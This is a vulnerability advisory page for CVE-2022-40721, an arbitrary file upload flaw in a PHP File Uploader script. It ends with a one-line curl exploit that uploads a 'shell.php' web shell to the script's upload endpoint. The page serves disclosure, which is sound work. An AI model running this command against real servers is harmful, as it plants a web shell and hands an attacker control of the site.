The VapidLabs Vulnerability Database

Vulnerabilities discovered by Larry W. Cashdollar

1 advisory Latest: 2022-09-08
Back to all advisories
Examine in ATT&CK and D3FEND: CVE2CAPEC

CreativeDream software arbitrary file upload

#961 · 2022-09-08
Arbitrary file upload vulnerability
CVE ID(s): CVE-2022-40721
Summary: Arbitrary file upload vulnerability
Notified: 2020-02-19
Description:
PHP File Uploader is an easy to use, hi-performance File Upload Script which allows you to upload/download files to webserver.
Exploit:
curl -vk http://localhost/php-uploader/examples/upload.php -F "files=@shell.php"